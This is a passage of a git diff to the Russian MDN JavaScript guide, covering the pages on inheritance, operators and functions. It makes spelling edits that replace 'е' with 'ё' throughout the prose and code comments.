объектов.</td> </tr> </tbody> </table> @@ -152,7 +152,7 @@ function Manager() { Employee.call(this); this.reports = []; } -//создаем пустой объект с прототипом от конструктора Employee +//создаём пустой объект с прототипом от конструктора Employee //и используем этот ообъект как прототип для Manager Manager.prototype = Object.create(Employee.prototype); @@ -236,7 +236,7 @@ public class Engineer extends WorkerBee { <p>Используя эти определения, вы можете создавать экземпляры объектов, которые получат значения по умолчанию для своих свойств. Рисунок 8.3 иллюстрирует использование этих определений и показывает значения свойств у полученных объектов.</p> -<p>{{ note('Термин <em>экземпляр </em>имеет специфическое значение в языках, основанных на классах. В этих языках экземпляр — это индивидуальная сущность определенного класса и принципиально отличается от класса. В JavaScript «экземпляр» не имеет такого технического значения, потому что JavaScript не делает таких отличий между классами и экземплярами. Однако, в разговоре о JavaScript, термин «экземпляр» может неформально использоваться для обозначения объекта, созданного с использованием конкретной <span>функции конструктора. Так, в этом примере, вы можете неформально сказать, что <code>jane</code> является экземпляром <code>Engineer</code>. Аналогично, хотя термины <em>parent, child, ancestor</em> и <em>descendant</em> (<em>родитель, ребенок, предок</em> и <em>потомок</em>) не имеют формальных значений в JavaScript, вы можете использовать их неформально для ссылки на объекты выше или ниже</span> <span>в</span> <span>цепочке прототипов.') }}</span></p> +<p>{{ note('Термин <em>экземпляр </em>имеет специфическое значение в языках, основанных на классах. В этих языках экземпляр — это индивидуальная сущность определённого класса и принципиально отличается от класса. В JavaScript «экземпляр» не имеет такого технического значения, потому что JavaScript не делает таких отличий между классами и экземплярами. Однако, в разговоре о JavaScript, термин «экземпляр» может неформально использоваться для обозначения объекта, созданного с использованием конкретной <span>функции конструктора. Так, в этом примере, вы можете неформально сказать, что <code>jane</code> является экземпляром <code>Engineer</code>. Аналогично, хотя термины <em>parent, child, ancestor</em> и <em>descendant</em> (<em>родитель, ребёнок, предок</em> и <em>потомок</em>) не имеют формальных значений в JavaScript, вы можете использовать их неформально для ссылки на объекты выше или ниже</span> <span>в</span> <span>цепочке прототипов.') }}</span></p> <p><img alt="figure8.3.png" class="default internal" id="figure8.3" src="/@api/deki/files/4403/=figure8.3.png"><br> <a id="8.3" name="8.3"><small><strong>Рисунок 8.3: Создание объектов с простыми определениями</strong></small></a></p> @@ -247,21 +247,21 @@ public class Engineer extends WorkerBee { <h3 id="Наследование_свойств">Наследование свойств</h3> -<p>Предположим, вы создаете ообъект <code>mark</code> в качестве <code>WorkerBee</code> (как показано на <a href="#8.3">Рисунок 8.3</a>) с помощью следующего выражения:</p> +<p>Предположим, вы создаёте ообъект <code>mark</code> в качестве <code>WorkerBee</code> (как показано на <a href="#8.3">Рисунок 8.3</a>) с помощью следующего выражения:</p> <pre class="brush: js">var mark = new WorkerBee; </pre> -<p>Когда JavaScript видит оператор <code>new</code>, он создает новый обобщенный ообъект и неявно устанавливает значение внутреннего свойства [[Prototype]] в <code>WorkerkBee.prototype</code>, затем передает этот новый ообъект в качестве значения <code>this</code> в функцию-конструктор <code>WorkerBee</code>. Внутреннее свойство [[Prototype]] определяет цепочку прототипов, используемых для получения значений свойств. После того, как эти свойства установлены, JavaScript возвращает новый ообъект, а оператор присваивания устанавливает переменную <code>mark</code> для этого объекта.</p> +<p>Когда JavaScript видит оператор <code>new</code>, он создаёт новый обобщённый ообъект и неявно устанавливает значение внутреннего свойства [[Prototype]] в <code>WorkerkBee.prototype</code>, затем передаёт этот новый ообъект в качестве значения <code>this</code> в функцию-конструктор <code>WorkerBee</code>. Внутреннее свойство [[Prototype]] определяет цепочку прототипов, используемых для получения значений свойств. После того, как эти свойства установлены, JavaScript возвращает новый ообъект, а оператор присваивания устанавливает переменную <code>mark</code> для этого объекта.</p> -<p>Этот процесс не задает значения свойств (<em>локальных</em> значений), которые унаследованы по цепочке прототипов, объекта <code>mark</code> напрямую. Когда вы запрашиваете значение свойства, JavaScript сначала проверяет, существует ли это значение в данном объекте. Если так и есть, тогда возвращается это значение. Если значение не найдено в самом объекте, JavaScript проверяет цепочку прототипов (используя внутреннее свойство [[Prorotype]]). Если ообъект в цепочке прототипов имеет значение для искомого свойства, это значение возвращается. Если такое свойство не найдено, JavaScript сообщает, что ообъект не обладает свойством. Таким образом, ообъект <code>mark</code> содержит следующие свойства и значения:</p> +<p>Этот процесс не задаёт значения свойств (<em>локальных</em> значений), которые унаследованы по цепочке прототипов, объекта <code>mark</code> напрямую. Когда вы запрашиваете значение свойства, JavaScript сначала проверяет, существует ли это значение в данном объекте. Если так и есть, тогда возвращается это значение. Если значение не найдено в самом объекте, JavaScript проверяет цепочку прототипов (используя внутреннее свойство [[Prorotype]]). Если ообъект в цепочке прототипов имеет значение для искомого свойства, это значение возвращается. Если такое свойство не найдено, JavaScript сообщает, что ообъект не обладает свойством. Таким образом, ообъект <code>mark</code> содержит следующие свойства и значения:</p> <pre class="brush: js">mark.name = ''; mark.dept = 'general'; mark.projects = []; </pre> -<p>Значения для свойств <code>name</code> и <code>dept</code> объекту <code>mark</code> присваиваются из конструктора <code>Employee</code>. Также из конструктора <code>WorkerBee</code> присваивается локальное значение для свойства <code>projects</code>. Это дает вам наследование свойств и их значений в JavaScript. Некоторые детали этого процесса обсуждаются в <a href="#Тонкости_наследования_свойств">Тонкости наследования свойств</a>.</p> +<p>Значения для свойств <code>name</code> и <code>dept</code> объекту <code>mark</code> присваиваются из конструктора <code>Employee</code>. Также из конструктора <code>WorkerBee</code> присваивается локальное значение для свойства <code>projects</code>. Это даёт вам наследование свойств и их значений в JavaScript. Некоторые детали этого процесса обсуждаются в <a href="#Тонкости_наследования_свойств">Тонкости наследования свойств</a>.</p> <p>Поскольку эти конструкторы не позволяют вводить значения, специфичные для экземпляра, добавленная информация является общей. Значения свойств устанавливаются по умолчанию одинаковыми для всех объектов, созданных функцией <code>WorkerBee</code>. Конечно, вы можете изменить значения любого из этих свойств. Так, вы можете добавить специфичную информацию для <code>mark</code> следующим образом:</p> @@ -397,7 +397,7 @@ public class Engineer extends WorkerBee { <p>{{ note('Это может работать не так, как ожидается, если функция-конструктор вызывается с аргументами, которые преобразуются в <code><code>false</code></code>, вроде нуля (<code>0</code>) или пустой строки (<code>""</code>). В этом случае будет выбрано значение по умолчанию.') }}</p> -<p>С помощью таких определений, создавая экземпляр объекта, вы можете указать значения для локально определенных свойств. Как показано на <a href="#8.5">Рисунок 8.5</a>, можно использовать следующее выражение для создания нового <code>Engineer</code>:</p> +<p>С помощью таких определений, создавая экземпляр объекта, вы можете указать значения для локально определённых свойств. Как показано на <a href="#8.5">Рисунок 8.5</a>, можно использовать следующее выражение для создания нового <code>Engineer</code>:</p> <pre class="brush: js">var jane = new Engineer('belau'); </pre> @@ -412,7 +412,7 @@ jane.machine == 'belau' <p>Обратите внимание, что с таким способом вы не можете указать начальное значение наследуемого свойства, такого как <code>name</code>. Если вы хотите задать начальное значение для наследуемых свойств в JavaScript, вам нужно добавить больше кода в функцию-конструктор.</p> -<p>До сих пор функция-конструктор создавала обобщенный ообъект, а затем определяла локальные свойства и значения для нового объекта. Вы можете использовать конструктор, который добавляет дополнительные свойства путем непосредственного вызова функции-конструктора для объекта, расположенного выше в цепочке прототипов. На следующем рисунке показаны эти новые определения.</p> +<p>До сих пор функция-конструктор создавала обобщённый ообъект, а затем определяла локальные свойства и значения для нового объекта. Вы можете использовать конструктор, который добавляет дополнительные свойства путём непосредственного вызова функции-конструктора для объекта, расположенного выше в цепочке прототипов. На следующем рисунке показаны эти новые определения.</p> <p><img alt="" class="internal" src="/@api/deki/files/4430/=figure8.6.png" style="height: 534px; width: 1063px;"><br> <small><strong>Рисунок 8.6: Определение свойств в конструкторе, вариант 2</strong></small></p> @@ -426,7 +426,7 @@ jane.machine == 'belau' } </pre> -<p>Предположим, вы создаете новый ообъект, используя <code>Engineer, следующим образом:</code></p> +<p>Предположим, вы создаёте новый ообъект, используя <code>Engineer, следующим образом:</code></p> <pre class="brush: js">var jane = new Engineer('Doe, Jane', ['navigator', 'javascript'], 'belau'); </pre> @@ -434,16 +434,16 @@ jane.machine == 'belau' <p>JavaScript <span id="result_box" lang="ru"><span>выполняет следующие действия</span><span>:</span></span></p> <ol> - <li>Оператор <code>new</code> создает обобщенный ообъект и устанавливает его свойству <code>__proto__</code> значение <code>Engineer.prototype</code>.</li> - <li>Оператор <code>new</code> передает этот новый ообъект в конструктор <code>Engineer</code> в качестве значения ключевого слова <code>this</code>.</li> - <li>Конструктор создает новое свойство с именем <code>base</code> для этого объекта и присваивает значение свойства <code>base</code> из конструктора <code>WorkerBee</code>. Это делает конструктор <code>WorkerBee</code> методом объекта, созданного <code>Engineer</code>. Имя свойства <code>base</code> не является специальным словом. Вы можете использовать любое допустимое для свойства имя; <code>base</code> всего-лишь напоминает о предназначении свойства.</li> + <li>Оператор <code>new</code> создаёт обобщённый ообъект и устанавливает его свойству <code>__proto__</code> значение <code>Engineer.prototype</code>.</li> + <li>Оператор <code>new</code> передаёт этот новый ообъект в конструктор <code>Engineer</code> в качестве значения ключевого слова <code>this</code>.</li> + <li>Конструктор создаёт новое свойство с именем <code>base</code> для этого объекта и присваивает значение свойства <code>base</code> из конструктора <code>WorkerBee</code>. Это делает конструктор <code>WorkerBee</code> методом объекта, созданного <code>Engineer</code>. Имя свойства <code>base</code> не является специальным словом. Вы можете использовать любое допустимое для свойства имя; <code>base</code> всего-лишь напоминает о предназначении свойства.</li> <li>Конструктор вызывает метод <code>base</code>, передавая в качестве аргументов два аргумента, переданных конструктору (<code>"Doe, Jane"</code> и <code>["navigator", "javascript"]</code>), а также строку <code>"engineering"</code>. Явное использование <code>"engineering"</code> в конструкторе указывает на то, что все объекты, созданные <code>Engineer</code>, имеют одинаковое значение для наследуемого свойства <code>dept</code>, это значение переопределяет значение, унаследованное из <code>Employee</code>.</li> - <li>Поскольку <code>base</code> является методом <code>Engineer</code>, внутри вызова <code>base</code> JavaScript привязывает ключевое свойство <code>this</code> к объекту, созданному в шаге 1. Таким образом, функция <code>WorkerBee</code> передает поочередно аргументы <code>"Doe, Jane"</code> и <code>"engineering"</code> в функцию-конструктор <code>Employee</code>. Получив результат из <code>Employee</code>, функция <code>WorkerBee</code> использует оставшийся аргумент для установки значения свойства <code>projects</code>.</li> + <li>Поскольку <code>base</code> является методом <code>Engineer</code>, внутри вызова <code>base</code> JavaScript привязывает ключевое свойство <code>this</code> к объекту, созданному в шаге 1. Таким образом, функция <code>WorkerBee</code> передаёт поочерёдно аргументы <code>"Doe, Jane"</code> и <code>"engineering"</code> в функцию-конструктор <code>Employee</code>. Получив результат из <code>Employee</code>, функция <code>WorkerBee</code> использует оставшийся аргумент для установки значения свойства <code>projects</code>.</li> <li>После возвращения из метода <code>base</code>, конструктор <code>Engineer</code> инициализирует свойство объекта <code>machine</code> со значением <code>"belau"</code>.</li> <li>После возвращения из конструктора, JavaScript присваивает новый ообъект переменной <code>jane</code>.</li> </ol> -<p>Можно подумать, что вызвав <code>WorkerBee</code> из конструктора <code>Engineer</code>, вы настроили соответствующим образом наследование для объектов, создаваемых <code>Engineer</code>. Это не так. Вызов конструктора <code>WorkerBee</code> обеспечивает только то, что ообъект <code>Engineer</code> запускается со свойствами, определенными во всех функциях-конструкторах, которые были вызваны. Так, если позже добавить свойства в прототипы <code>Employee</code> или <code>WorkerBee</code>, эти свойства не наследуются объектами из <code>Engineer</code>. Например, предположим, вы использовали следующие определения:</p> +<p>Можно подумать, что вызвав <code>WorkerBee</code> из конструктора <code>Engineer</code>, вы настроили соответствующим образом наследование для объектов, создаваемых <code>Engineer</code>. Это не так. Вызов конструктора <code>WorkerBee</code> обеспечивает только то, что ообъект <code>Engineer</code> запускается со свойствами, определёнными во всех функциях-конструкторах, которые были вызваны. Так, если позже добавить свойства в прототипы <code>Employee</code> или <code>WorkerBee</code>, эти свойства не наследуются объектами из <code>Engineer</code>. Например, предположим, вы использовали следующие определения:</p> <pre class="brush: js">function Engineer (name, projs, mach) { this.base = WorkerBee; @@ -511,7 +511,7 @@ function Engineer (name, projs, mach) { <li>Если искомое свойство не обнаружено, считается, что ообъект его не имеет.</li> </ol> -<p>Результат выполнения этих шагов будет зависеть от того, в каком порядке вы создаете объекты, прототипы и их свойства. Рассмотрим пример:</p> +<p>Результат выполнения этих шагов будет зависеть от того, в каком порядке вы создаёте объекты, прототипы и их свойства. Рассмотрим пример:</p> <pre class="brush: js">function Employee () { this.name = ""; @@ -524,7 +524,7 @@ function WorkerBee () { WorkerBee.prototype = new Employee; </pre> -<p>Предположим, на основе конструкции выше, вы создаете ообъект <code>amy</code> как экземпляр класса <code>WorkerBee</code> следующим выражением:</p> +<p>Предположим, на основе конструкции выше, вы создаёте ообъект <code>amy</code> как экземпляр класса <code>WorkerBee</code> следующим выражением:</p> <pre class="brush: js">var amy = new WorkerBee; </pre> @@ -543,7 +543,7 @@ amy.projects == []; <p>На первый взгляд вы можете ожидать, что это изменение распространится на все экземпляры <code>Employee</code>. Однако этого не случится.</p> -<p>Когда вы устанавливаете прототип для <code>WorkerBee</code> вы создаете новый ообъект <code>Employee</code>, таким образом <code>WorkerBee.prototype</code> получает свое собственное локальное свойство <code>name</code> (в данном примере пустую строку). Следовательно, когда JavaScript ищет свойство <code>name</code> у объекта <code>amy</code> (экземпляра <code>WorkerBee</code>), он первым делом натыкается на него в прототипе <code>WorkerBee.prototype,</code> и до проверки <code>Employee.prototype</code> дело не доходит.</p> +<p>Когда вы устанавливаете прототип для <code>WorkerBee</code> вы создаёте новый ообъект <code>Employee</code>, таким образом <code>WorkerBee.prototype</code> получает своё собственное локальное свойство <code>name</code> (в данном примере пустую строку). Следовательно, когда JavaScript ищет свойство <code>name</code> у объекта <code>amy</code> (экземпляра <code>WorkerBee</code>), он первым делом натыкается на него в прототипе <code>WorkerBee.prototype,</code> и до проверки <code>Employee.prototype</code> дело не доходит.</p> <p>Если у вас есть необходимость изменять некоторое свойство объекта во время работы приложения, и применять это изменение на все существующие экземпляры, не нужно создавать это свойство внутри конструктора. Вместо этого добавьте свойство в прототип, принадлежащий конструктору. Для примера, предположим, вы изменили код, который был показан выше, следующим образом:</p> @@ -617,7 +617,7 @@ instanceOf (chris, Employee) instanceOf (chris, Object) </pre> -<p>Но следующее выражение вернет <code>false</code>:</p> +<p>Но следующее выражение вернёт <code>false</code>:</p> <pre class="brush: js">instanceOf (chris, SalesPerson) </pre> @@ -635,13 +635,13 @@ function Employee (name, dept) { } </pre> -<p>Здесь, когда вы создаете новый экземпляр <code>Employee</code>, конструктор присваивает ему все новый и новый ID увеличивая значение глобальной переменной <code>idCounter</code>. Следовательно, при выполнении кода ниже, <code>victoria.id</code> станет равным 1 а <code>harry.id</code> — 2:</p> +<p>Здесь, когда вы создаёте новый экземпляр <code>Employee</code>, конструктор присваивает ему все новый и новый ID увеличивая значение глобальной переменной <code>idCounter</code>. Следовательно, при выполнении кода ниже, <code>victoria.id</code> станет равным 1 а <code>harry.id</code> — 2:</p> <pre class="brush: js">var victoria = new Employee("Pigbert, Victoria", "pubs") var harry = new Employee("Tschopik, Harry", "sales") </pre> -<p>Навскидку, все выглядит предсказуемо. Однако, <code>idCounter</code> увеличивается при создании каждого объекта <code>Employee</code> вне зависимости от цели его создания. Если вы создаете полную иерархию класса <code>Employee,</code> показанную выше в этой главе, конструктор <code>Employee</code> будет так же вызван каждый раз, когда вы устанавливаете прототип для подклассов. Следующий код раскрывает суть возможной проблемы:</p> +<p>Навскидку, все выглядит предсказуемо. Однако, <code>idCounter</code> увеличивается при создании каждого объекта <code>Employee</code> вне зависимости от цели его создания. Если вы создаёте полную иерархию класса <code>Employee,</code> показанную выше в этой главе, конструктор <code>Employee</code> будет так же вызван каждый раз, когда вы устанавливаете прототип для подклассов. Следующий код раскрывает суть возможной проблемы:</p> <pre class="brush: js">var idCounter = 1; @@ -666,9 +666,9 @@ SalesPerson.prototype = new WorkerBee; var mac = new Engineer("Wood, Mac"); </pre> -<p>Предположим, каждый из конструкторов, тело которого опущено для краткости, содержит вызов конструктора прародителя. Это приведет к тому, что <code>id</code> у объекта <code>mac</code> примет значение 5 вместо ожидаемой единицы.</p> +<p>Предположим, каждый из конструкторов, тело которого опущено для краткости, содержит вызов конструктора прародителя. Это приведёт к тому, что <code>id</code> у объекта <code>mac</code> примет значение 5 вместо ожидаемой единицы.</p> -<p>В зависимости от приложения, лишние увеличения счетчика могут быть не критичны. В случае же, когда точный контроль за значениями счетчика важен, одним из возможных решений станет такой код:</p> +<p>В зависимости от приложения, лишние увеличения счётчика могут быть не критичны. В случае же, когда точный контроль за значениями счётчика важен, одним из возможных решений станет такой код:</p> <pre class="brush: js">function Employee (name, dept) { this.name = name || ""; @@ -678,15 +678,15 @@ var mac = new Engineer("Wood, Mac"); } </pre> -<p>Когда вы создаете экземпляр <code>Employee</code> в качестве прототипа, вы не предоставляете аргументы в конструктор за ненадобностью. Конструктор выше проверяет наличие аргумента <code>name,</code> и в случае, если значение не указано, идентификатор id объекту не присваивается, а значение глобального счетчика <code>idCounter</code> не увеличивается. Таким образом, для получения уникального <code>id</code> становится обязательным указание параметра <code>name</code> при вызове конструктора <code>Employee</code>. С внесенными в пример выше изменениями, <code>mac.id</code> станет равным долгожданной, заветной единице.</p> +<p>Когда вы создаёте экземпляр <code>Employee</code> в качестве прототипа, вы не предоставляете аргументы в конструктор за ненадобностью. Конструктор выше проверяет наличие аргумента <code>name,</code> и в случае, если значение не указано, идентификатор id объекту не присваивается, а значение глобального счётчика <code>idCounter</code> не увеличивается. Таким образом, для получения уникального <code>id</code> становится обязательным указание параметра <code>name</code> при вызове конструктора <code>Employee</code>. С внесёнными в пример выше изменениями, <code>mac.id</code> станет равным долгожданной, заветной единице.</p> <h3 id="Никакого_множественного_наследования">Никакого множественного наследования</h3> <p>Некоторые из объектно-ориентированных языков предоставляют возможность множественного наследования. Когда один ообъект может унаследовать свойства и методы множества других, не связанных друг с другом объектов. В JavaScript такого не предусмотрено.</p> -<p>В JavaScript наследование свойств осуществляется путем поиска в цепочке прототипов. Так как ообъект может иметь лишь единственный присвоенный ему прототип, JavaScript не может осуществить наследование более чем от одной цепочки прототипов.</p> +<p>В JavaScript наследование свойств осуществляется путём поиска в цепочке прототипов. Так как ообъект может иметь лишь единственный присвоенный ему прототип, JavaScript не может осуществить наследование более чем от одной цепочки прототипов.</p> -<p>Однако конструктор в JavaScript может вызывать любое количество вложенных конструкторов. Это дает некоторую, хоть и ограниченную (отсутствием прототипной связанности) видимость множественного наследования. Рассмотрим следующий фрагмент:</p> +<p>Однако конструктор в JavaScript может вызывать любое количество вложенных конструкторов. Это даёт некоторую, хоть и ограниченную (отсутствием прототипной связанности) видимость множественного наследования. Рассмотрим следующий фрагмент:</p> <pre class="brush: js">function Hobbyist (hobby) { this.hobby = hobby || "scuba"; diff --git a/files/ru/web/javascript/guide/expressions_and_operators/index.html b/files/ru/web/javascript/guide/expressions_and_operators/index.html index dea3cef0d6..046e83e9fb 100644 --- a/files/ru/web/javascript/guide/expressions_and_operators/index.html +++ b/files/ru/web/javascript/guide/expressions_and_operators/index.html @@ -59,14 +59,14 @@ translation_of: Web/JavaScript/Guide/Expressions_and_Operators <p>В результате операции присваивания операнду слева от <a href="/ru/docs/Web/JavaScript/Reference/Operators/Assignment_Operators">оператора присваивания</a> (знак "=") устанавливается значение , которое берётся из правого операнда. Основным оператором присваивания является =, он присваивает значение правого операнда операнду, находящемуся слева. Таким образом, выражение x = y означает, что x присваивается значение y.</p> -<p>Существуют также составные операторы присваивания, которые используются для сокращенного представления операций, описанных в следующей таблице:</p> +<p>Существуют также составные операторы присваивания, которые используются для сокращённого представления операций, описанных в следующей таблице:</p> <table class="standard-table"> <caption>Список операторов присваивания</caption> <tbody> <tr> <th>Имя</th> - <th>Сокращенный оператор</th> + <th>Сокращённый оператор</th> <th>Смысл</th> </tr> <tr> @@ -491,7 +491,7 @@ var n3 = !"Cat"; // !t возвращает false <li><code>true</code> || <em>anything - </em>сокращение с результатом true.</li> </ul> -<p>Правила логики гарантируют, что данные вычисления всегда корректны. Обратите внимание, что часть "<em>anything"</em> представленных выше выражений не вычисляется, таким образом удается избежать любых побочных эффектов вычисления данной части.</p> +<p>Правила логики гарантируют, что данные вычисления всегда корректны. Обратите внимание, что часть "<em>anything"</em> представленных выше выражений не вычисляется, таким образом удаётся избежать любых побочных эффектов вычисления данной части.</p> <h3 id="Строковые_операторы">Строковые операторы</h3> @@ -499,7 +499,7 @@ var n3 = !"Cat"; // !t возвращает false <pre class="brush: js">console.log("my " + "string"); // в консоли выведется строка "my string".</pre> -<p>Сокращенный оператор присваивания += также может быть использован для объединения (конкатенации) строк:</p> +<p>Сокращённый оператор присваивания += также может быть использован для объединения (конкатенации) строк:</p> <pre class="brush: js">var mystring = "alpha"; mystring += "bet"; // получается значение "alphabet" и присваивается mystring. </pre> @@ -548,7 +548,7 @@ delete property; // допустимо только внутри with <p>где <code>objectName</code> представляет собой имя объекта, <code>property</code> - свойство объекта, а <code>index</code> - целое число, указывающее на положение (номер позиции) элемента в массиве.</p> -<p>Четвертый вариант использования позволяет удалить свойство объекта, но допускается только внутри <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/with">with</a></code>.</p> +<p>Четвёртый вариант использования позволяет удалить свойство объекта, но допускается только внутри <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/with">with</a></code>.</p> <p>Вы можете использовать оператор <code>delete</code> для удаления переменных, объявленных неявно, но вы не можете с его помощью удалять переменные, объявленные с помощью <code>var</code>.</p> @@ -569,7 +569,7 @@ delete myobj; // возвращает true (можно удалить объе <p>Удаление элемента массива не влияет на длину массива. Например, если вы удалите <code>a[3]</code>, элемент <code>a[4]</code> останется <code>a[4],</code> <code>a[3]</code> станет undefined.</p> -<p>Когда элемент массива удаляется с помощью оператора <code>delete</code>, то из массива удаляется значение данного элемента. В следующем примере элемент <code>trees[3]</code> удален с помощью оператора <code>delete</code>. Однако, элемент <code>trees[3]</code> остается адресуемым и возвращает значение <code>undefined</code>.</p> +<p>Когда элемент массива удаляется с помощью оператора <code>delete</code>, то из массива удаляется значение данного элемента. В следующем примере элемент <code>trees[3]</code> удалён с помощью оператора <code>delete</code>. Однако, элемент <code>trees[3]</code> остаётся адресуемым и возвращает значение <code>undefined</code>.</p> <pre class="brush: js">var trees = new Array("redwood", "bay", "cedar", "oak", "maple"); delete trees[3]; @@ -578,7 +578,7 @@ if (3 in trees) { } </pre> -<p>Если вы хотите, чтобы элемент оставался в массиве, но имел значение undefined, то используйте ключевое слово <code>undefined</code> вместо оператора <code>delete</code>. В следующем примере элементу <code>trees[3]</code> присвоено значение <code>undefined</code>, но элемент при этом остается в массиве:</p> +<p>Если вы хотите, чтобы элемент оставался в массиве, но имел значение undefined, то используйте ключевое слово <code>undefined</code> вместо оператора <code>delete</code>. В следующем примере элементу <code>trees[3]</code> присвоено значение <code>undefined</code>, но элемент при этом остаётся в массиве:</p> <pre class="brush: js">var trees = new Array("redwood", "bay", "cedar", "oak", "maple"); trees[3] = undefined; @@ -665,7 +665,7 @@ void expression <pre class="brush: html"><A HREF="javascript:void(0)">Нажмите здесь, чтобы ничего не произошло</A> </pre> -<p>Приведенный ниже код создает гипертекстовую ссылку, которая подтверждает отправку формы при клике на ней пользователем:</p> +<p>Приведённый ниже код создаёт гипертекстовую ссылку, которая подтверждает отправку формы при клике на ней пользователем:</p> <pre class="brush: html"><A HREF="javascript:void(document.form.submit())"> Нажмите здесь, чтобы подтвердить отправку формы</A></pre> @@ -728,7 +728,7 @@ if (theDay instanceof Date) { <p><em>Приоритет</em> операторов определяет порядок их выполнения при вычислении выражения. Вы можете влиять на приоритет операторов с помощью скобок.</p> -<p>Приведенная ниже таблица описывает приоритет операторов от наивысшего до низшего.</p> +<p>Приведённая ниже таблица описывает приоритет операторов от наивысшего до низшего.</p> <table class="standard-table"> <caption>Таблица 3.7 Приоритет операторов</caption> @@ -875,18 +875,18 @@ a + (b * c) // 7 // что эквивалентно следующему a * c + b * c // 9</pre> -<h4 id="Упрощенный_синтаксис_создания_массивов_и_генераторов">Упрощенный синтаксис создания массивов и генераторов</h4> +<h4 id="Упрощённый_синтаксис_создания_массивов_и_генераторов">Упрощённый синтаксис создания массивов и генераторов</h4> -<p>Упрощенный синтаксис - экспериментальная возможность JavaScript, которая возможно будет добавлена в будущие версии ECMAScript. Есть 2 версии синтаксиса:</p> +<p>Упрощённый синтаксис - экспериментальная возможность JavaScript, которая возможно будет добавлена в будущие версии ECMAScript. Есть 2 версии синтаксиса:</p> <dl> <dt>{{experimental_inline}} {{jsxref("Operators/Array_comprehensions", "[for (x of y) x]")}}</dt> - <dd>Упрощенный синтаксис для массивов.</dd> + <dd>Упрощённый синтаксис для массивов.</dd> <dt>{{experimental_inline}} {{jsxref("Operators/Generator_comprehensions", "(for (x of y) y)")}}</dt> - <dd>Упрощенный синтаксис для генераторов.</dd> + <dd>Упрощённый синтаксис для генераторов.</dd> </dl> -<p>Упрощенные синтаксисы существуют во многих языках программирования и позволяют вам быстро собирать новый массив, основанный на существующем. Например:</p> +<p>Упрощённые синтаксисы существуют во многих языках программирования и позволяют вам быстро собирать новый массив, основанный на существующем. Например:</p> <pre class="brush: js">[for (i of [ 1, 2, 3 ]) i*i ]; // [ 1, 4, 9 ] diff --git a/files/ru/web/javascript/guide/functions/index.html b/files/ru/web/javascript/guide/functions/index.html index 2e62690a66..ef48cf9b64 100644 --- a/files/ru/web/javascript/guide/functions/index.html +++ b/files/ru/web/javascript/guide/functions/index.html @@ -43,7 +43,7 @@ translation_of: Web/JavaScript/Guide/Functions <ul> <li>Имя функции.</li> - <li>Список параметров (принимаемых функцией) заключенных в круглые скобки <code>()</code> и разделенных запятыми.</li> + <li>Список параметров (принимаемых функцией) заключённых в круглые скобки <code>()</code> и разделённых запятыми.</li> <li>Инструкции, которые будут выполнены после вызова функции, заключают в фигурные скобки <code>{ }</code>.</li> </ul> @@ -92,7 +92,7 @@ var x = square(4); // x получает значение 16 console.log(factorial(3)); </pre> -<p>Функции вида "function definition expression" удобны, когда функция передается аргументом другой функции. Следующий пример показывает функцию <code>map</code>, которая должна получить функцию первым аргументом и массив вторым.</p> +<p>Функции вида "function definition expression" удобны, когда функция передаётся аргументом другой функции. Следующий пример показывает функцию <code>map</code>, которая должна получить функцию первым аргументом и массив вторым.</p> <pre class="brush: js">function map(f, a) { var result = [], // Create a new Array @@ -184,7 +184,7 @@ d = factorial(4); // d gets the value 24 e = factorial(5); // e gets the value 120 </pre> -<p>Есть другие способы вызвать функцию. Существуют частые случаи, когда функции необходимо вызывать динамически, или поменять номера аргументов функции, или необходимо вызвать функцию с привязкой к определенному контексту. Оказывается, что функции сами по себе являются объектами, и эти объекты в свою очередь имеют методы (посмотрите объект <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/Function" title="The Function constructor creates a new Function object. Calling the constructor directly can create functions dynamically, but suffers from security and similar (but far less significant) performance issues similar to eval. However, unlike eval, the Function constructor allows executing code in the global scope, prompting better programming habits and allowing for more efficient code minification."><code>Function</code></a>). Один из них это метод <code><a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/Function/apply" title="The apply() method calls a function with a given this value, and arguments provided as an array (or an array-like object).">apply()</a></code>, использование которого может достигнуть этой цели.</p> +<p>Есть другие способы вызвать функцию. Существуют частые случаи, когда функции необходимо вызывать динамически, или поменять номера аргументов функции, или необходимо вызвать функцию с привязкой к определённому контексту. Оказывается, что функции сами по себе являются объектами, и эти объекты в свою очередь имеют методы (посмотрите объект <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/Function" title="The Function constructor creates a new Function object. Calling the constructor directly can create functions dynamically, but suffers from security and similar (but far less significant) performance issues similar to eval. However, unlike eval, the Function constructor allows executing code in the global scope, prompting better programming habits and allowing for more efficient code minification."><code>Function</code></a>). Один из них это метод <code><a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/Function/apply" title="The apply() method calls a function with a given this value, and arguments provided as an array (or an array-like object).">apply()</a></code>, использование которого может достигнуть этой цели.</p> <h2 id="Область_видимости_функций"><a id="definition" name="definition"></a>Область видимости функций</h2> @@ -202,7 +202,7 @@ function multiply() { return num1 * num2; } -multiply(); // вернет 60 +multiply(); // вернёт 60 // Пример вложенной функции function getScore() { @@ -216,7 +216,7 @@ function getScore() { return add(); } -getScore(); // вернет "Chamahk scored 5" +getScore(); // вернёт "Chamahk scored 5" </pre> <h2 id="Scope_и_стек_функции"><a id="definition" name="definition"></a>Scope и стек функции</h2> @@ -309,7 +309,7 @@ foo(3); <p>Поскольку вложенная функция это closure, это означает, что вложенная функция может "унаследовать" (<em>inherit</em>) аргументы и переменные функции, в которую та вложена. Другими словами, вложенная функция содержит scope внешней (<em>"outer"</em>) функции.</p> -<p>Подведем итог:</p> +<p>Подведём итог:</p> <ul> <li>Вложенная функция имеет доступ ко всем инструкциям внешней функции.</li> @@ -350,7 +350,7 @@ result1 = outside(3)(5); // возвращает 8 <h3 id="Сохранение_переменных">Сохранение переменных</h3> -<p>Обратите внимание, значение <code>x</code> сохранилось, когда возвращалось <code>inside</code>. Closure должно сохранять аргументы и переменные во всем scope. Поскольку каждый вызов предоставляет потенциально разные аргументы, создается новый closure для каждого вызова во вне. Память может быть очищена только тогда, когда <code>inside</code> уже возвратился и больше не доступен.</p> +<p>Обратите внимание, значение <code>x</code> сохранилось, когда возвращалось <code>inside</code>. Closure должно сохранять аргументы и переменные во всем scope. Поскольку каждый вызов предоставляет потенциально разные аргументы, создаётся новый closure для каждого вызова во вне. Память может быть очищена только тогда, когда <code>inside</code> уже возвратился и больше не доступен.</p> <p>Это не отличается от хранения ссылок в других объектах, но часто менее очевидно, потому что не устанавливаются ссылки 